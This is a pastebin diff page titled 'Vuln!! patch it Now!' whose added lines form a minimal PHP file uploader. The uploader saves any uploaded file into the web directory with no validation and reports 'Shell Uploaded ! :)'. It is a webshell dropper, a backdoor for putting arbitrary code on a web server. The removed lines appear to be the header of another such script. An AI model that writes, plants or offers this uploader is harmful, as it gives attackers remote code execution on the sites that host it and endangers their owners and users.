SHOW:
|
|
- or go back to the newest paste.
1 | Vuln!! patch it Now! | |
2 | ||
3 | <?php | |
4 | - | session_start(); |
4 | + | echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">'; |
5 | - | @error_reporting(0); |
5 | + | echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>'; |
6 | - | @set_time_limit(0); |
6 | + | if( $_POST['_upl'] == "Upload" ) { |
7 | if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Shell Uploaded ! :)<b><br><br>'; } | |
8 | - | if(version_compare(PHP_VERSION, '5.3.0', '<')) { |
8 | + | else { echo '<b>Not uploaded ! </b><br><br>'; } |
9 | - | @set_magic_quotes_runtime(0); |
9 | + | |
10 | ?> |